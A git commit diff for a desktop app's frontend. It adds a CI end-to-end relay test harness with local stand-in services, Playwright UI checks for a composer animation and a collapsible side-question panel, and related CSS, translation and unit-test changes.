fix: harden grouped checkout ownership and sync studio

Problem: Grouped projects could open the source after an explicit worktree
selection, hide source-alias history, omit inferred launcher exclusions, or
remain unusable when their source folder disappeared. Copied Git metadata
could also claim another checkout's project identity.

Root cause: Display identity was reused as execution and catalog authority.
Project inference duplicated an unbounded marker walk without validating
managed checkout containment or the reverse Git registration.

Fix: Preserve selected directories and all catalog members, choose a surviving
project directory, and use complete member roots for editor discovery and
launch. Reuse shared checkout identity and validate its managed boundary,
local prefix and registration backlink. Merge studio, move root resolution to
its project owner to preserve the file-size budget, and align the title guard
with the intended checkout label while retaining spacing and overflow limits.

Verification: Failing original-head HTTP/path regressions pass after the fix.
Frontend tests (629 files, 5,221 tests), production build, focused race tests,
go vet, make lint and make check pass. Added a 100-root tree benchmark and a
deterministic delayed-header test; repository suites and browser guards cover
adjacent behavior. Hosted checks must validate the replacement PR head.
This commit is contained in:
SivanCola committed 2026-10-17 17:28:59 +08:00
commit dbc39493d6
84 files changed
+3144 -211

No files matched your search

+65
View File
@@ -163,6 +163,7 @@ jobs:
node perf/settings-rows.mjs
node perf/narrow-steps.mjs
node perf/job-names.mjs
node perf/composer-feel.mjs
node perf/side-panel.mjs
node perf/card-shell.mjs
node perf/line-cards.mjs
@@ -177,6 +178,70 @@ jobs:
node perf/narrow-rail.mjs
node perf/selfcheck.mjs branch-tooltip
# What a hosted page does over the relay, end to end: the production bundle,
# the real Studio host and kernel, a real Chromium; only the accounts API and
# the relay are stand-ins (tools/relayfake). Event-transport changes are
# judged here, because a unit test of one side cannot see the other.
relay-harness:
name: relay harness
runs-on: ubuntu-latest
timeout-minutes: 15
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7
with:
fetch-depth: 0
- name: Transport changed?
id: scope
env:
BASE_REF: ${{ github.base_ref }}
run: |
paths="desktop/frontend-next internal/frontend/serve internal/platform/remotecloud internal/platform/account tools/relayfake cmd/reasonix-studio-host"
if [ "$GITHUB_EVENT_NAME" = "pull_request" ] &&
git diff --quiet "origin/$BASE_REF...HEAD" -- $paths; then
echo "run=false" >> "$GITHUB_OUTPUT"
else
echo "run=true" >> "$GITHUB_OUTPUT"
fi
- if: steps.scope.outputs.run == 'true'
uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7
with:
go-version-file: go.mod
cache: true
- if: steps.scope.outputs.run == 'true'
uses: pnpm/action-setup@ea17c68df8912ef543352723c149a84f56e3d413 # v6.1.0
with:
version: 10
run_install: false
- if: steps.scope.outputs.run == 'true'
uses: actions/setup-node@949feb2413d6458794dcd2491c4babbbce0c15c1 # v7
with:
node-version: "24"
cache: pnpm
cache-dependency-path: desktop/frontend-next/pnpm-lock.yaml
- if: steps.scope.outputs.run == 'true'
name: Build the host, the stand-ins and the page
run: |
go build -o desktop/frontend-next/relay/bin/studio-host ./cmd/reasonix-studio-host
go build -o desktop/frontend-next/relay/bin/relayfake ./tools/relayfake
cd desktop/frontend-next
pnpm install --frozen-lockfile
pnpm exec vite build --outDir dist-relay --emptyOutDir
pnpm exec playwright install --with-deps chromium
- if: steps.scope.outputs.run == 'true'
name: Scenarios
working-directory: desktop/frontend-next
env:
RELAY_HOST_BIN: ${{ github.workspace }}/desktop/frontend-next/relay/bin/studio-host
RELAY_FAKE_BIN: ${{ github.workspace }}/desktop/frontend-next/relay/bin/relayfake
RELAY_DIST: ${{ github.workspace }}/desktop/frontend-next/dist-relay
run: node relay/live.mjs
# A pull request with no platform-relevant change (scripts/ci-platform-scope.sh)
# moves the Windows and macOS legs onto an ubuntu runner with every step
# skipped, so the check names still report without a scarce runner. A push to
+1
View File
@@ -95,3 +95,4 @@ scripts/official-theme-art/__pycache__/
# running, which on Windows is every rebuild while Studio is open.
*.exe
*.exe~
/relayfake
+2
View File
@@ -4,3 +4,5 @@ dist-perf*
*.png
!public/icons/*.png
tsconfig.tsbuildinfo
dist-relay*
relay/bin
@@ -0,0 +1,79 @@
// The composer keeps the 1.x feel: a ring of light sweeps its border once when
// it is hovered or focused, nothing sweeps while a turn runs or when motion is
// reduced, and the run state is announced rather than printed inside the box.
import { chromium } from "playwright";
const BASE = process.env.PERF_URL ?? "http://localhost:4399/perf.html?pref=zh&turns=2";
const fails = [];
const check = (name, ok, detail = "") => {
console.log(`${ok ? " ok" : "FAIL"} ${name}${detail ? " — " + detail : ""}`);
if (!ok) fails.push(name);
};
const shotDir = process.env.SHOTS;
const sweep = (page) => page.evaluate(() => getComputedStyle(document.querySelector(".compose"), "::before").animationName);
const browser = await chromium.launch();
for (const scheme of ["light", "dark"]) {
for (const running of [false, true]) {
const label = `${scheme} ${running ? "running" : "idle"}`;
const page = await browser.newPage({ viewport: { width: 1280, height: 800 }, locale: "zh-CN", colorScheme: scheme });
page.on("pageerror", (e) => fails.push("页面异常: " + e.message));
await page.goto(BASE + (running ? "&running=1" : ""), { waitUntil: "networkidle" });
await page.waitForSelector(".compose");
if (running) {
await page.waitForFunction(() => typeof window.__feed === "function");
await page.waitForTimeout(400);
await page.evaluate(() => window.__feed({ kind: "turn_started" }));
}
await page.waitForSelector(running ? ".studio-runstate[data-running]" : ".studio-runstate[data-idle]");
await page.mouse.move(5, 5);
await page.waitForTimeout(150);
const state = await page.evaluate(() => {
const status = document.querySelector(".compose .studio-runstate");
const word = status?.querySelector(".studio-runlabel > span.sr-only");
const r = word?.getBoundingClientRect();
const clock = status?.querySelector(".studio-runclock");
return {
role: status?.getAttribute("role"),
live: status?.getAttribute("aria-live"),
said: word?.textContent ?? "",
wordBox: r ? [Math.round(r.width), Math.round(r.height)] : null,
clockShown: !!clock && clock.getBoundingClientRect().width > 0,
mark: !!status?.querySelector(".rmark"),
};
});
check(`${label}: the state is announced`, state.role === "status" && state.live === "polite" && state.said.length > 0, state.said);
check(`${label}: the word is not printed in the box`, state.wordBox && state.wordBox[0] <= 2 && state.wordBox[1] <= 2, JSON.stringify(state.wordBox));
check(`${label}: the mark stays`, state.mark);
if (running) check(`${label}: the clock stays`, state.clockShown);
check(`${label}: nothing sweeps at rest`, (await sweep(page)) === "none");
await page.hover(".compose textarea");
await page.waitForTimeout(300);
const hovered = await sweep(page);
check(`${label}: ${running ? "no sweep on hover while running" : "a sweep on hover"}`, running ? hovered === "none" : hovered === "compose-sweep", hovered);
if (shotDir && !running) await page.locator(".compose").screenshot({ path: `${shotDir}/${scheme}-hover.png` });
await page.mouse.move(5, 5);
await page.waitForTimeout(100);
await page.focus(".compose textarea");
await page.waitForTimeout(300);
const focused = await sweep(page);
check(`${label}: ${running ? "no sweep on focus while running" : "a sweep on focus"}`, running ? focused === "none" : focused === "compose-sweep", focused);
if (shotDir) await page.locator(".compose").screenshot({ path: `${shotDir}/${scheme}-${running ? "running" : "idle"}.png` });
await page.close();
}
const calm = await browser.newPage({ viewport: { width: 1280, height: 800 }, locale: "zh-CN", colorScheme: scheme, reducedMotion: "reduce" });
await calm.goto(BASE, { waitUntil: "networkidle" });
await calm.waitForSelector(".compose");
await calm.hover(".compose textarea");
await calm.focus(".compose textarea");
await calm.waitForTimeout(300);
check(`${scheme}: no sweep when motion is reduced`, (await sweep(calm)) === "none");
await calm.close();
}
await browser.close();
if (fails.length) {
console.log(`\n${fails.length} failed`);
process.exit(1);
}
+5 -3
View File
@@ -1,4 +1,4 @@
// The session title sits right beside the project name in the title bar, at every width, and the
// The session title sits right beside the project and checkout in the title bar, at every width, and the
// project name still gives way (ellipsis) before the title is pushed off. Layout is a real-browser question.
import { chromium } from "playwright";
@@ -22,9 +22,11 @@ try {
const range = document.createRange();
range.selectNodeContents(projEl);
const text = range.getBoundingClientRect();
return { gap: Math.round(sep.left - text.right), titleRight: Math.round(title.right) };
const tags = [...document.querySelectorAll(".chrome .crumb .isolab")].filter((el) => !el.hidden);
const edge = tags.at(-1)?.getBoundingClientRect().right ?? text.right;
return { gap: Math.round(sep.left - edge), titleRight: Math.round(title.right) };
});
check(`${width}px: the title follows the project name`, at.gap >= 0 && at.gap <= 12, `gap ${at.gap}px`);
check(`${width}px: the title follows the project and checkout`, at.gap >= 0 && at.gap <= 12, `gap ${at.gap}px`);
check(`${width}px: the title stays on screen`, at.titleRight <= width, `right edge ${at.titleRight}px`);
const long = await page.evaluate(() => {
document.querySelector(".chrome .crumb-proj").textContent = "a-very-long-project-folder-name-".repeat(8);
+35 -6
View File
@@ -2,6 +2,7 @@
// and inside the conversation's own column — never over what sits beside or
// above it, whether the file panel is open or not and at any width.
import { chromium } from "playwright";
import { mkdir } from "node:fs/promises";
const PAGE = process.env.PERF_URL ?? "http://localhost:4399/perf.html?pref=zh&ws=2&sess=6&turns=3";
const fails = [];
@@ -12,13 +13,14 @@ const check = (name, ok, detail = "") => {
const shotDir = process.env.SHOTS;
const box = (el) => (el ? (({ left, top, right, bottom }) => ({ left, top, right, bottom }))(el.getBoundingClientRect()) : null);
const browser = await chromium.launch();
if (shotDir) await mkdir(shotDir, { recursive: true });
const browser = await chromium.launch({ channel: process.env.PLAYWRIGHT_CHANNEL });
for (const scheme of ["light", "dark"]) {
for (const [width, files] of [[1400, false], [1400, true], [760, false], [760, true]]) {
const label = `${scheme} ${width}px${files ? " with the file panel" : ""}`;
const page = await browser.newPage({ viewport: { width, height: 800 }, locale: "zh-CN", colorScheme: scheme });
for (const [width, files, height = 800, zoom = 1] of [[1400, false], [1400, true], [760, false], [760, true], [390, false, 700], [900, false, 480], [760, false, 800, 1.3]]) {
const label = `${scheme} ${width}x${height} zoom ${zoom}${files ? " with the file panel" : ""}`;
const page = await browser.newPage({ viewport: { width, height }, locale: "zh-CN", colorScheme: scheme });
page.on("pageerror", (e) => fails.push("页面异常: " + e.message));
await page.goto(PAGE, { waitUntil: "networkidle" });
await page.goto(`${PAGE}&zoom=${zoom}`, { waitUntil: "networkidle" });
await page.waitForSelector(".compose");
if (files) {
await page.locator('.navbtn[aria-label="文件"]').first().click();
@@ -41,7 +43,34 @@ for (const scheme of ["light", "dark"]) {
check(`${label}: it stays inside the window`, p.left >= 0 && p.right <= r.vw && p.top >= 0 && p.bottom <= r.vh);
check(`${label}: it does not cover the file panel`, r.beside.every((b) => p.right <= b.left || p.left >= b.right || p.bottom <= b.top || p.top >= b.bottom), files ? `${r.beside.length} file panel parts` : "no file panel");
check(`${label}: it opens above the button that asked`, p.bottom <= r.button.top && p.left <= r.button.left + 1, `button ${Math.round(r.button.left)}`);
if (shotDir && !(width === 760 && files)) await page.screenshot({ path: `${shotDir}/${scheme}-${width}${files ? "-files" : ""}.png` });
const draft = page.locator('[data-action-change="side.draft"]');
await draft.fill("解释这个函数如何处理错误。".repeat(50));
await page.locator('[data-action="side.send"]').click();
await page.locator('.sideturn[data-role="side"]').waitFor();
await draft.fill("keep this draft");
const collapse = page.locator('[data-action="side.collapse"]');
await collapse.click();
const hidden = await draft.isHidden();
const compact = await page.locator(".sidepanel").evaluate((el) => {
const b = el.getBoundingClientRect();
const button = el.querySelector('[data-action="side.collapse"]');
const c = button.getBoundingClientRect();
const hit = document.elementFromPoint(c.x + c.width / 2, c.y + c.height / 2);
const flow = el.closest(".pane").querySelector('[data-pane="flow"]').getBoundingClientRect();
return { height: b.height, hit: hit === button || button.contains(hit), readable: b.top - flow.top, flowHeight: flow.height };
});
check(`${label}: collapse leaves a reachable header and hides inputs`, hidden && compact.hit && compact.height < 72, JSON.stringify(compact));
check(`${label}: collapse exposes the transcript`, compact.readable > 100 && compact.readable > compact.flowHeight / 2, JSON.stringify(compact));
await collapse.focus();
await page.keyboard.press("Tab");
check(`${label}: Tab skips the collapsed controls`, await page.locator('[data-action="side.close"]').evaluate((el) => el === document.activeElement));
if (shotDir && [1400, 390].includes(width) && !files) await page.screenshot({ path: `${shotDir}/${scheme}-${width}.png` });
await collapse.click();
await draft.waitFor({ state: "visible" });
check(`${label}: expansion keeps the draft`, await draft.inputValue() === "keep this draft");
await page.keyboard.press("Escape");
await page.locator(".sidepanel").waitFor({ state: "detached" });
check(`${label}: Escape returns focus`, await page.locator('[data-action="side.toggle"]').evaluate((el) => el === document.activeElement));
await page.close();
}
}
+29
View File
@@ -0,0 +1,29 @@
---
owner: @esengine
backup: @SivanCola
status: active
reviewed: 2026-10-17
---
# Relay harness
A hosted page driving a real Studio through a stand-in relay.
- Real: the production page bundle, its encrypted channel, `reasonix-studio-host` with its kernel, and Chromium.
- Replaced: the accounts API and the message relay (`tools/relayfake`), and the model provider (a scripted stream in `stack.mjs`).
The page still dials `id.reasonix.io` and `remote.reasonix.io`; the browser
context answers those two hosts with the stand-ins.
```
go build -o relay/bin/studio-host ../../cmd/reasonix-studio-host
go build -o relay/bin/relayfake ../../tools/relayfake
pnpm exec vite build --outDir dist-relay --emptyOutDir
RELAY_HOST_BIN=$PWD/relay/bin/studio-host RELAY_FAKE_BIN=$PWD/relay/bin/relayfake \
RELAY_DIST=$PWD/dist-relay node relay/live.mjs
```
`CHROMIUM_PATH` selects a browser other than the one Playwright installed.
A change to how events travel between a page and a kernel is judged by this
run, not only by a unit test of one side. Add a scenario to `live.mjs` rather
than a second harness.
+61
View File
@@ -0,0 +1,61 @@
// A hosted page driving a real Studio through a stand-in relay. What a shipped
// page does over that link is the claim: the production bundle, the encrypted
// channel, the Studio's own host and a real kernel are all real; only the two
// Reasonix services between them are replaced (tools/relayfake).
import { chromium } from "playwright";
import { startStack, routeServices, until } from "./stack.mjs";
const need = (name) => {
if (!process.env[name]) throw new Error(`${name} is not set; see relay/README.md`);
return process.env[name];
};
const stack = await startStack({ hostBin: need("RELAY_HOST_BIN"), fakeBin: need("RELAY_FAKE_BIN"), dist: need("RELAY_DIST") });
const browser = await chromium.launch(process.env.CHROMIUM_PATH ? { executablePath: process.env.CHROMIUM_PATH } : {});
const failures = [];
const check = (name, ok, detail = "") => {
console.log(`${ok ? "ok " : "FAIL"} ${name}${detail ? ` - ${detail}` : ""}`);
if (!ok) failures.push(name);
};
try {
const context = await browser.newContext({ viewport: { width: 1300, height: 850 } });
await routeServices(context, stack);
const page = await context.newPage();
const pageErrors = [];
page.on("pageerror", (error) => pageErrors.push(error.message));
await page.goto(stack.pageUrl());
await page.evaluate(() => { window.__survivor = true; });
await page.keyboard.press("Escape");
const pane = await stack.api("/runtimes", "POST", { root: stack.workspace });
check("a pane opens on the Studio", pane.status === 200, `status ${pane.status}`);
const composer = page.getByLabel("Task input").first();
await composer.waitFor({ timeout: 30_000 });
const text = () => page.evaluate(() => document.body.innerText);
const count = async (word) => ((await text()).match(new RegExp(word, "g")) ?? []).length;
const send = async (message) => {
await composer.fill(message);
await composer.press("Enter");
};
await send("first");
const live = await until("the reply to stream onto the page", async () => (await count("word11")) >= 1, 20_000).then(() => true, () => false);
check("a reply streams onto the page over the relay", live, `provider saw ${stack.provider.requests.length} request(s)`);
const dropped = await stack.ctl("drop-controllers", "POST");
check("the relay drops the page's socket", dropped.dropped === 1, JSON.stringify(dropped));
await until("the page to reconnect", async () => (await stack.ctl("state")).controllers === 1, 30_000).catch(() => {});
await send("second");
const after = await until("a reply after the reconnect", async () => (await count("word11")) >= 2, 40_000).then(() => true, () => false);
check("a reply streams onto the page after the relay drops the socket", after);
check("the page was never reloaded", await page.evaluate(() => window.__survivor === true));
check("the page threw no error", pageErrors.length === 0, pageErrors.join(" | "));
} catch (error) {
check("the scenario ran to the end", false, String(error));
} finally {
await browser.close();
await stack.stop();
}
process.exit(failures.length ? 1 : 0);
+172
View File
@@ -0,0 +1,172 @@
import http from "node:http";
import fs from "node:fs";
import os from "node:os";
import path from "node:path";
import { spawn } from "node:child_process";
const wait = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
export async function until(what, probe, ms = 20_000) {
const end = Date.now() + ms;
for (;;) {
const value = await probe();
if (value) return value;
if (Date.now() > end) throw new Error(`timed out waiting for ${what}`);
await wait(100);
}
}
function firstLine(child, what) {
return new Promise((resolve, reject) => {
let buffer = "";
child.stdout.on("data", (chunk) => {
buffer += chunk;
const at = buffer.indexOf("\n");
if (at >= 0) resolve(buffer.slice(0, at));
});
child.once("exit", (code) => reject(new Error(`${what} exited (${code}) before it was ready`)));
});
}
function scriptedProvider() {
const requests = [];
const server = http.createServer((req, res) => {
let body = "";
req.on("data", (chunk) => { body += chunk; });
req.on("end", () => {
if (!req.url.includes("chat/completions")) {
res.writeHead(404);
res.end("{}");
return;
}
requests.push({ at: Date.now(), body });
res.writeHead(200, { "content-type": "text/event-stream" });
const chunk = (delta) =>
`data: ${JSON.stringify({ id: "x", object: "chat.completion.chunk", model: "fake-m", choices: [{ index: 0, delta }] })}\n\n`;
let n = 0;
const timer = setInterval(() => {
if (n < 12) {
res.write(chunk({ content: `word${n++} ` }));
return;
}
clearInterval(timer);
res.write(`data: ${JSON.stringify({ id: "x", object: "chat.completion.chunk", model: "fake-m", choices: [{ index: 0, delta: {}, finish_reason: "stop" }], usage: { prompt_tokens: 10, completion_tokens: 12, total_tokens: 22 } })}\n\n`);
res.write("data: [DONE]\n\n");
res.end();
}, 120);
res.on("close", () => clearInterval(timer));
});
});
return new Promise((resolve) => server.listen(0, "127.0.0.1", () => resolve({ server, requests, port: server.address().port })));
}
function pageServer(dist) {
const types = { ".html": "text/html", ".js": "text/javascript", ".css": "text/css", ".svg": "image/svg+xml", ".woff2": "font/woff2", ".json": "application/json", ".webmanifest": "application/manifest+json", ".png": "image/png" };
const server = http.createServer((req, res) => {
const target = path.join(dist, decodeURIComponent(new URL(req.url, "http://x").pathname));
const file = target.startsWith(dist) && fs.existsSync(target) && fs.statSync(target).isFile() ? target : path.join(dist, "index.html");
res.writeHead(200, { "content-type": types[path.extname(file)] ?? "application/octet-stream" });
fs.createReadStream(file).pipe(res);
});
return new Promise((resolve) => server.listen(0, "127.0.0.1", () => resolve({ server, origin: `http://127.0.0.1:${server.address().port}` })));
}
/**
* Starts everything between a hosted page and a Studio except the page's browser:
* the real studio-host binary on a fresh data home, a stand-in accounts API and
* relay, a scripted model provider, and a static server for the built page.
*/
export async function startStack({ hostBin, fakeBin, dist }) {
const root = fs.mkdtempSync(path.join(os.tmpdir(), "relay-stack-"));
const home = path.join(root, "home");
const workspace = path.join(root, "workspace");
fs.mkdirSync(home, { recursive: true });
fs.mkdirSync(workspace, { recursive: true });
const provider = await scriptedProvider();
fs.writeFileSync(path.join(home, "config.toml"), [
'language = "en"',
'default_model = "fake"',
`providers = [{ name = "fake", kind = "openai", base_url = "http://127.0.0.1:${provider.port}/v1", model = "fake-m", api_key_env = "FAKE_KEY" }]`,
"",
].join("\n"));
fs.writeFileSync(path.join(home, ".env"), "FAKE_KEY=fixture\n");
const fake = spawn(fakeBin, [], { stdio: ["ignore", "pipe", "inherit"] });
const urls = JSON.parse(await firstLine(fake, "relayfake"));
const ctl = async (route, method = "GET") => (await fetch(`${urls.accounts}/ctl/${route}`, { method })).json();
const host = spawn(hostBin, [], {
stdio: ["pipe", "pipe", "inherit"],
env: {
...process.env, HOME: root, USERPROFILE: root, REASONIX_HOME: home, REASONIX_STATE_HOME: home,
REASONIX_ACCOUNTS_URL: urls.accounts, REASONIX_REMOTE_URL: urls.relay, REASONIX_ACCOUNT_TOKEN: "fixture-token",
FAKE_KEY: "fixture",
},
});
const handshake = JSON.parse(await firstLine(host, "studio-host"));
const state = await until("the Studio to reach the relay", async () => {
const s = await ctl("state");
return s.deviceId && s.deviceOnline ? s : null;
});
const page = await pageServer(dist);
const api = async (route, method = "GET", body) => {
const response = await fetch(handshake.origin + route, {
method,
headers: { cookie: `reasonix_token=${handshake.token}`, origin: handshake.origin, "content-type": "application/json" },
body: body === undefined ? undefined : JSON.stringify(body),
});
return { status: response.status, json: await response.json().catch(() => null) };
};
return {
urls, deviceId: state.deviceId, pageOrigin: page.origin, workspace, provider, ctl, api,
pageUrl: () => `${page.origin}/?device=${state.deviceId}`,
async stop() {
const gone = new Promise((resolve) => host.once("exit", resolve));
host.stdin.end();
host.kill();
await gone;
fake.kill();
page.server.close();
provider.server.close();
fs.rmSync(root, { recursive: true, force: true });
},
};
}
/**
* Points a browser context's two Reasonix services at the stand-ins. The page is
* the production build, so it still dials id.reasonix.io and remote.reasonix.io;
* the requests and the socket are answered here. The socket is a plain pipe:
* the page and the Studio speak their own encrypted protocol across it.
*/
export async function routeServices(context, stack) {
await context.route("https://id.reasonix.io/**", async (route) => {
const request = route.request();
const cors = {
"access-control-allow-origin": request.headers().origin ?? "*",
"access-control-allow-credentials": "true",
"access-control-allow-headers": "content-type",
};
if (request.method() === "OPTIONS") {
await route.fulfill({ status: 204, headers: cors });
return;
}
const answer = await fetch(stack.urls.accounts + new URL(request.url()).pathname, {
method: request.method(),
headers: { "content-type": "application/json" },
body: request.postData() ?? undefined,
});
await route.fulfill({ status: answer.status, headers: { ...cors, "content-type": "application/json" }, body: await answer.text() });
});
await context.routeWebSocket(/remote\.reasonix\.io/, (page) => {
const upstream = new WebSocket(`${stack.urls.relay}/v1/sessions/connect?fixture=1`, "reasonix.remote.v1");
const queued = [];
upstream.onopen = () => queued.splice(0).forEach((message) => upstream.send(message));
upstream.onmessage = (event) => page.send(String(event.data));
upstream.onclose = (event) => page.close({ code: event.code >= 1000 && event.code < 5000 ? event.code : 1011, reason: event.reason });
page.onMessage((message) => (upstream.readyState === 1 ? upstream.send(message) : queued.push(message)));
page.onClose(() => upstream.close());
});
}
+1
View File
@@ -237,6 +237,7 @@ export const ACTIONS: UIAction[] = [
{ id: "feedback.contact", kind: "view", target: "none", proof: "interaction" },
{ id: "feedback.shot.pick", kind: "view", target: "none", proof: "interaction" },
{ id: "feedback.shot.capture", kind: "shell-native", target: "none", proof: "interaction" },
{ id: "side.collapse", kind: "view", target: "none", proof: "interaction" },
{ id: "side.toggle", kind: "view", target: "none", proof: "interaction" },
{ id: "side.quote", kind: "view", target: "none", proof: "interaction" },
{ id: "side.unquote", kind: "view", target: "none", proof: "interaction" },
@@ -21,6 +21,8 @@ export const EN_SETTINGS: Record<string, string> = {
"浏览器标签": "Browser tabs",
"辅助会话": "Side question",
"只读 · 不写入主会话 · 关闭即丢": "Read-only · not in the main session · gone when closed",
"收起辅助会话": "Collapse the side question",
"展开辅助会话": "Expand the side question",
"关闭辅助会话": "Close the side question",
"移除引用 {n}": "Remove quote {n}",
"向辅助会话提问": "Ask the side question",
@@ -1581,3 +1581,8 @@ what exists.
- The mark at the top of the rail is one row: the wordmark and a compact filled uppercase badge ("STUDIO" by CSS; the text and the aria label are unchanged), vertically centred on each other, gap 8px. The badge is `--text` on `--page` inverted, so it is dark on light and light on dark and never moves with the theme.
- The badge is hidden at 760px and below. The wordmark box is cropped to its drawn width so the badge sits next to the letters, not next to the asset's padding.
## Side question
- The panel stays anchored above its own composer. Collapsing it leaves a header with separate expand and close controls so the conversation can be read without discarding the side question.
- The mounted content keeps its draft, quotes, answers and pending request while collapsed. Errors, quotes and replies share the scroll region; the input stays outside it.
+13 -5
View File
@@ -4,13 +4,13 @@
display: flex; flex-direction: column; border: 1px solid var(--border); border-radius: 12px; transform-origin: bottom left;
background: var(--raised); color: var(--text); box-shadow: 0 12px 32px -12px rgba(0, 0, 0, .45);
}
.sidepanel > header { display: flex; align-items: flex-start; justify-content: space-between; gap: 10px; padding: 10px 12px; border-bottom: 1px solid var(--border); }
.sidepanel > header { flex: none; display: flex; align-items: flex-start; justify-content: space-between; gap: 10px; padding: 10px 12px; border-bottom: 1px solid var(--border); }
.sidepanel > header span { display: grid; gap: 2px; }
.sidepanel > header b { font: 600 12px/1.3 var(--ui); }
.sidepanel > header small { color: var(--ghost); font: 500 10px/1.3 var(--ui); }
.sidepanel > header button { padding: 0 6px; border: 0; background: none; color: var(--muted); font-size: 16px; line-height: 1; cursor: pointer; }
.sidepanel > header button:hover { color: var(--text); }
.sidebody { flex: 1; min-height: 80px; overflow-y: auto; display: grid; align-content: start; gap: 10px; padding: 10px 12px; }
.sidebody { flex: 1; min-height: 0; overflow-y: auto; display: grid; align-content: start; gap: 10px; padding: 10px 12px; }
.sidehint { margin: 0; color: var(--faint); font: 500 11px/1.6 var(--ui); }
.sideturn { display: grid; gap: 4px; }
.sideturn p { margin: 0; white-space: pre-wrap; overflow-wrap: anywhere; font: 500 12px/1.6 var(--ui); }
@@ -21,10 +21,18 @@
.sidequotes li { display: flex; gap: 6px; align-items: flex-start; padding: 3px 6px; border: 1px solid var(--border); border-radius: 6px; background: var(--overlay); }
.sidequotes li span { flex: 1; min-width: 0; max-height: 36px; overflow: hidden; font: 500 11px/1.5 var(--mono); overflow-wrap: anywhere; }
.sidequotes li button { border: 0; background: none; color: var(--muted); cursor: pointer; }
.sidepanel > footer { display: grid; grid-template-columns: 1fr auto; gap: 6px; padding: 8px 12px 12px; border-top: 1px solid var(--border); }
.sidepanel > footer .sidequote { grid-column: 1 / -1; justify-self: start; padding: 2px 8px; border: 1px solid var(--border); border-radius: 999px; background: none; color: var(--muted); font: var(--w-med) var(--fs-meta)/1.5 var(--ui); cursor: pointer; }
.sidepanel > footer .sidequote:hover { color: var(--text); background: var(--overlay); }
.sidecontent > footer { flex: none; display: grid; grid-template-columns: 1fr auto; gap: 6px; padding: 8px 12px 12px; border-top: 1px solid var(--border); }
.sidecontent > footer .sidequote { grid-column: 1 / -1; justify-self: start; padding: 2px 8px; border: 1px solid var(--border); border-radius: 999px; background: none; color: var(--muted); font: var(--w-med) var(--fs-meta)/1.5 var(--ui); cursor: pointer; }
.sidecontent > footer .sidequote:hover { color: var(--text); background: var(--overlay); }
.sidepanel textarea { resize: none; min-width: 0; padding: 6px 8px; border: 1px solid var(--border); border-radius: 8px; background: var(--surface); color: var(--text); font: 500 12px/1.5 var(--ui); }
.sidepanel textarea:focus-visible { outline: 2px solid var(--focus); outline-offset: 1px; }
.sidesend { padding: 0 12px; border: 1px solid var(--text); border-radius: 8px; background: var(--text); color: var(--surface); font: 600 12px/1 var(--ui); cursor: pointer; }
.sidesend:disabled { opacity: .45; cursor: default; }
.sidecontent { min-height: 0; display: flex; flex-direction: column; overflow: hidden; }
.sidecontent[hidden] { display: none; }
.sideactions { display: flex; align-items: center; gap: 8px; }
.sidepanel > header .sidecollapse { display: inline-flex; align-items: center; justify-content: center; width: 24px; height: 24px; padding: 0; }
.sidecollapse svg { width: 16px; height: 16px; }
.sidecollapse[aria-expanded="false"] svg { transform: rotate(180deg); }
.sidepanel[data-collapsed] > header { border-bottom: 0; }
+17 -1
View File
@@ -232,6 +232,23 @@ body { background: var(--page); }
box-shadow: 0 1px 2px rgb(0 0 0 / .06), 0 0 0 3px color-mix(in srgb, var(--focus) 10%, transparent), 0 14px 34px -24px rgb(0 0 0 / .4);
}
.compose:focus-within::after { border-color: color-mix(in srgb, var(--focus) 58%, var(--border)); }
@property --compose-sweep { syntax: "<angle>"; inherits: false; initial-value: 0deg; }
.compose::before {
content: ""; position: absolute; inset: 0; border-radius: inherit; padding: 1px; pointer-events: none; opacity: 0;
background: conic-gradient(from var(--compose-sweep), transparent 0 62%, color-mix(in srgb, var(--focus) 70%, transparent) 82%, transparent 100%);
-webkit-mask: linear-gradient(#000 0 0) content-box, linear-gradient(#000 0 0); -webkit-mask-composite: xor;
mask: linear-gradient(#000 0 0) content-box exclude, linear-gradient(#000 0 0);
}
@media (prefers-reduced-motion: no-preference) {
.pane:not([data-run="running"]) .compose:is(:hover, :focus-within)::before { animation: compose-sweep 1.9s cubic-bezier(.22, .8, .18, 1) both; }
}
@keyframes compose-sweep {
0% { --compose-sweep: 190deg; opacity: 0; }
22% { opacity: .22; }
48% { opacity: .58; }
78% { --compose-sweep: 520deg; opacity: .42; }
100% { --compose-sweep: 560deg; opacity: 0; }
}
.compose .row { background: transparent; border-top-color: var(--hair); }
.compose .row > * { animation: none; }
.composeguide { display: none; }
@@ -3129,7 +3146,6 @@ body { font-size: 14px; line-height: 1.75; }
font: 650 11px/1.2 var(--ui);
}
.studio-runclock { flex: none; font-variant-numeric: tabular-nums; font-weight: 500; opacity: .78; }
.studio-runclock::before { content: "·"; margin-right: 7px; opacity: .6; }
.studio-runstate .studio-runtokens { flex: none; }
.studio-runstate .rmark {
width: 15px;
@@ -1,46 +1,37 @@
// @vitest-environment jsdom
import { afterEach, describe, expect, it } from "vitest";
import { cleanup, render, screen } from "@testing-library/react";
import "./testkit";
import { act, cleanup, render, screen } from "@testing-library/react";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
import { PaneShown } from "./shown";
import { RunLine } from "./RunLine";
const base = { label: "运行中", blocked: false, sent: 0, received: 0, estimated: false };
afterEach(cleanup);
beforeEach(() => vi.useFakeTimers({ now: 1_000_000 }));
afterEach(() => { cleanup(); vi.useRealTimers(); });
const draw = (over: Partial<Parameters<typeof RunLine>[0]> = {}) =>
render(<RunLine label="运行中" running blocked={false} since={Date.now() - 12_000} sent={10} received={20} estimated={false} {...over} />);
describe("the running chip above the composer", () => {
it("says how long the turn has been running and keeps counting", () => {
render(<RunLine {...base} running since={1_000_000 - 65_000} />);
expect(screen.getByText("1m 5s")).toBeTruthy();
act(() => { vi.advanceTimersByTime(3_000); });
expect(screen.getByText("1m 8s")).toBeTruthy();
describe("the run state beside the composer", () => {
it("is announced to a screen reader and not printed as a word", () => {
draw();
const status = screen.getByRole("status");
expect(status.getAttribute("aria-live")).toBe("polite");
const word = screen.getByText("运行中");
expect(status.contains(word)).toBe(true);
expect(word.classList.contains("sr-only")).toBe(true);
});
it("shows no time for a turn this window did not see start", () => {
const { container } = render(<RunLine {...base} running />);
expect(container.querySelector(".studio-runclock")).toBeNull();
it("keeps the clock and the mark where the word used to be", () => {
draw();
expect(document.querySelector(".studio-runclock")).not.toBeNull();
expect(document.querySelector(".rmark")).not.toBeNull();
});
it("shows no time and runs no timer when nothing is running", () => {
